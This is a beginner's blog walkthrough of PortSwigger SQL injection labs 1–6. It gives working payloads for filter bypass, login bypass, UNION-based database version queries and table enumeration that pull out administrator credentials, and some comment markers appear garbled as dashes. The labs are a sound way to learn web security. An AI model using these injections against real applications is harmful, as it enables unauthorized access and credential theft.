How I Solved PortSwigger SQLi Labs 1–6 (Part 1 Walkthrough)

Hey everyone!

I'm Haidar

I started learning Bug Hunting about 15 days ago. In just these 15 days, I have successfully solved 10 Portswigger's Labs and documented my daily progress

How My Journey Started

I have always had a strong interest in Bug Hunting and Cybersecurity, but learning wasn't easy.

My biggest challenge is the beginning was figuring out How to start and Where to find the right resources. In my college, almost everyone was focused on AI/ML or Software development. Very few people were exploring Cybersecurity, so I had to figure out the path on my own.

After spending days in researching, watching tutorials , and going through guidance videos, I gained a much deeper understanding of the field. Before this , I thought cybersecurity was just a single job. I was surprised to discover its many different specialized domains:

• Penetration testing
• Soc Analysis
• defensive Security
• Bug Hunting ( and many more)

After about 2 month of careful research, I choose Bug Hunting. My main reasons were simple:

1. It offers practical experience along with the opportunity to earn bounties/rewards.
2. The skill you build make transitioning into full-time penetration testing very smooth.

Finding the Right Learning Platform

Once I picked my path, I hit another roadblock. I didn't know Where to practice effectively. YouTube was flooded with "How to use this tool" videos, but lacked a clear, practical roadmap.

I used AI tools to research practice platform and compared options like TryHackMe, HTB, DVWA, and portswiger:

• TryHackMe: good, but many useful rooms require a paid subscription and it focuses on heavily theory over practical labs.
• DVWA: Great for basics, but somewhat old and outdated for modern web security.
• PortSwigger Web Sec Academy: Free, regularly updated, and perfect aligned with real-world vulnerabilities.

Since I am a CS engineering student, I had already covered essential core skill in college such as Networking, SQL, Web Tech, Algorithms, Linux, Python etc

Because of this foundation, I skipped theoretical tutorials and jumped straight into PortSwigger's SQL Injection Lab.

Documnetation & Walkthrough (part 1: Labs 1 to 6)

I solved the lab step-by-step and created detailed documentation for each one to build my Proof of work.

Here is the details :

Lab 1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

• Vulnerability Location: Product category filter.
• Target: Find unreleased/hidden products.
• Background: The web application uses a SQL query like: SELECT * FROM products WHERE category = 'Gifts' AND released = 1 Here, released = 1 means the application only shows products available to the general public.

Observation & Analysis

If we remove, comment out, or bypass released = 1, we can see unreleased products.

• First Attempt: I tried injecting a comment directly: SELECT * FROM products WHERE category = '' — ' AND released = 1
• Result: It didn't work. The application treated ' — as a literal string instead of a SQL comment.

• Second Attempt: I used an OR condition payload: ' OR 1=1 —

• Why it works: The single quote ' closes the category parameter string. The OR 1=1 ensures that even if the category isn't found, the condition always evaluates to true. Finally, the — comments out the rest of the query (AND released = 1).
• Result: The payload executed successfully, unreleased products were displayed, and the Lab was Solved!

Lab 2: SQL injection vulnerability allowing login bypass

• Vulnerability Location: Login page.
• Target: Log in as the administrator user.

Observation & Analysis

The backend query likely looks like this: SELECT user FROM tablename WHERE username = 'username' AND password = 'password'

If we enter the username as administrator' — , the query becomes: SELECT user FROM tablename WHERE username = 'administrator' — ' AND password = '…' The — comments out the password check entirely, allowing us to log in without a password.

• Result: It worked instantly, and the Lab was Solved!

Lab 3: SQL injection attack, querying the database type and version on Oracle

Note: This lab uses Oracle SQL and does not give any hints about vulnerable pages, so we test via the category filter in the URL.

• Important Rule in Oracle: The FROM clause is mandatory with every SELECT statement, and a built-in table named dual is used for testing.
• Target: Find the database type and version.

Penetration Workflow:

1. Find the number of columns.
2. Find which column supports text data (to display our output).
3. Query the Oracle database version.

Step 1: Find the number of columns

I tested using UNION payloads with an increasing number of NULL values: ' UNION SELECT NULL, NULL FROM dual —

• Analysis: If we add extra NULLs (e.g., 4 NULLs) and get an error, it means the table has fewer columns.
• Result: An error occurred on 3 NULLs, confirming the table contains 2 columns.

Step 2: Find columns containing text data type

Since there are 2 columns, we test each one to see if it accepts string data:

• ' UNION SELECT 'abc', NULL FROM dual — (Testing 1st column)
• ' UNION SELECT NULL, 'abc' FROM dual — (Testing 2nd column)
• Result: Both columns returned abc, meaning both columns support text data types.

Step 3: Find database version

We can use any column to extract the version info. In Oracle, the v$version view stores database release and component details, and the banner column contains the readable text.

• Payload: ' UNION SELECT banner, NULL FROM v$version —
• Result: The version banner appeared on the screen, and the Lab was Solved!

Lab 4: SQL injection attack, querying database type and version on MySQL & Microsoft SQL (MSSQL)

Note: This lab uses a non-Oracle database (MySQL/MSSQL). Like before, we test via the URL category filter.

Observation, Analysis & Penetration:

Step 1: Find the number of columns

• I tried the standard command: ' UNION SELECT NULL, NULL —
• Issue: It didn't work initially. Checking the hint, I realized we need URL encoding (+ for spaces) and that MSSQL/MySQL use %23 or different comment styles instead of —.
• Payload Used: '+UNION+SELECT+NULL,NULL%23 (where %23 represents # in URL encoding to comment out the rest).
• Result: It worked, and I found an error at 3 NULLs, confirming the table contains 2 columns.

Step 2: Which columns contain text?

• Payloads Tried: '+UNION+SELECT+'abc',NULL%23 '+UNION+SELECT+NULL,'abc'%23
• Result: Both returned abc, meaning both columns accept text.

Step 3: Database Version

• Payload: '+UNION+SELECT+@@version,NULL%23 (I simply replaced 'abc' with @@version to fetch database details).
• Result: The database version details were successfully displayed, and the Lab was Solved!

Lab 5: SQL injection attack, listing the database contents on Oracle

• Important: Uses Oracle database. Vulnerability in category filter.
• Target: Find administrator credentials by listing table and column names.

Penetration Workflow:

No. of columns $\rightarrow$ Text columns $\rightarrow$ Find table names $\rightarrow$ Find column names $\rightarrow$ Extract Administrator password

1. Find columns: ' UNION SELECT NULL, NULL FROM dual — (2 columns found)
2. Find text column: ' UNION SELECT 'abc', 'def' FROM dual —
3. Find all tables: ' UNION SELECT table_name, NULL FROM all_tables —

• Result: Many table names appeared. I located and targeted the relevant table: USERS_LTCBLQ.

4. Find column names in USERS_LTCBLQ: ' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_LTCBLQ' —

• Result: Found 3 columns: EMAIL, USERNAME_GHDRIH, and PASSWORD_LPPJOS.

5. Extract Credentials: ' UNION SELECT USERNAME_GHDRIH, PASSWORD_LPPJOS FROM USERS_LTCBLQ —

• Result: The administrator username and password appeared on the screen, and the Lab was Solved!

Lab 6: SQL injection attack, listing the database contents on non-Oracle database

• Important: Uses a non-Oracle database (MySQL/PostgreSQL).
• Target: Extract administrator username and password.

Penetration Workflow:

1. Find columns: '+UNION+SELECT+NULL,NULL —
2. Find text column: '+UNION+SELECT+'a','b' —
3. Find all table names: '+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables —

• Result: Filtered through the list and found the target table: users_msvphi.

4. Find column names in users_msvphi: '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_msvphi' —

• Result: Found columns: email, username_cowyom, and password_mqtdlq.

5. Extract Credentials: '+UNION+SELECT+username_cowyom,+password_mqtdlq+FROM+users_msvphi —

• Result: The credentials were successfully retrieved, and the Lab was Solved!

Completing these first 6 labs gave me a solid, hands-on understanding of how SQL injection works in practice — from simple logic bypasses to extracting sensitive database schemas across different database engines (Oracle, MySQL, and MSSQL).

The journey doesn't stop here! In part 2 of this series, dropping next Friday, we will dive into Labs 7 to 12.

If you are also on a cybersecurity journey or want to follow my daily progress updates, feel free to connect with me:

• LinkedIn: https://www.linkedin.com/in/haidarobs

Tank you so much for reading! If you found this helpful , drop a few claps and share with fellow learners.

See you in Part 2!